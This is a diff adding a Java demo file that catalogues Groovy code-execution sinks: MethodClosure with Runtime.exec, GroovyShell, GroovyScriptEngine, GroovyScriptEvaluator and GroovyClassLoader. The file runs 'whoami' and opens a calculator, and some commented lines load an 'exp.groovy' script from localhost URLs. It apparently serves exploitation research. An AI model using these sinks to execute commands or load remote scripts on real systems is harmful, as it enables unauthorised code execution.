|
| 1 | +package org.command.code; |
| 2 | + |
| 3 | +import groovy.lang.GroovyClassLoader; |
| 4 | +import groovy.lang.GroovyObject; |
| 5 | +import groovy.lang.GroovyShell; |
| 6 | +import groovy.util.GroovyScriptEngine; |
| 7 | +import org.codehaus.groovy.runtime.MethodClosure; |
| 8 | +import org.springframework.core.io.Resource; |
| 9 | +import org.springframework.core.io.UrlResource; |
| 10 | + |
| 11 | +/** |
| 12 | + * @author Whoopsunix |
| 13 | + * 参考:https://www.cnblogs.com/yyhuni/p/18012041 |
| 14 | + */ |
| 15 | +public class GroovyDemo { |
| 16 | + public static void main(String[] args) throws Exception{ |
| 17 | + /** |
| 18 | + * MethodClosure |
| 19 | + */ |
| 20 | + // Runtime.getRuntime().exec |
| 21 | +// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec"); |
| 22 | +// mc.call("open -a Calculator.app"); |
| 23 | + // 字符串 |
| 24 | +// MethodClosure mc = new MethodClosure("open -a Calculator.app", "execute"); |
| 25 | +// mc.call(); |
| 26 | + |
| 27 | + /** |
| 28 | + * GroovyShell |
| 29 | + */ |
| 30 | +// GroovyShell groovyShell = new GroovyShell(); |
| 31 | +// String cmd = "\"whoami\".execute().text"; |
| 32 | +// // 还可以通过文件 url 等 |
| 33 | +// System.out.println(groovyShell.evaluate(cmd)); |
| 34 | + |
| 35 | + |
| 36 | + /** |
| 37 | + * GroovyScriptEngine |
| 38 | + */ |
| 39 | +// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("Command/src/main/java/org/command/code"); |
| 40 | +//// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:1234/"); |
| 41 | +// scriptEngine.run("Groovy.groovy", ""); |
| 42 | + |
| 43 | + |
| 44 | + /** |
| 45 | + * GroovyScriptEvaluator |
| 46 | + */ |
| 47 | + // StaticScriptSource |
| 48 | +// GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator(); |
| 49 | +// ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text"); |
| 50 | +// System.out.println(groovyScriptEvaluator.evaluate(scriptSource)); |
| 51 | + |
| 52 | + // ResourceScriptSource |
| 53 | +// Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy"); |
| 54 | +// ScriptSource source = new ResourceScriptSource(urlResource); |
| 55 | +// System.out.println(groovyScriptEvaluator.evaluate(source)); |
| 56 | + |
| 57 | + |
| 58 | + /** |
| 59 | + * GroovyClassLoader |
| 60 | + */ |
| 61 | + GroovyClassLoader classLoader = new GroovyClassLoader(); |
| 62 | + Class clazz = classLoader.parseClass("class Test {\n" + |
| 63 | + " static void main(String[] args) {\n" + |
| 64 | + " GroovyShell groovyShell = new GroovyShell();\n" + |
| 65 | + " String cmd = \"\\\"whoami\\\".execute().text\";\n" + |
| 66 | + " println(groovyShell.evaluate(cmd).toString());\n" + |
| 67 | + " }\n" + |
| 68 | + "}"); |
| 69 | + GroovyObject object = (GroovyObject) clazz.newInstance(); |
| 70 | + object.invokeMethod("main", ""); |
| 71 | + |
| 72 | + } |
| 73 | +} |
0 commit comments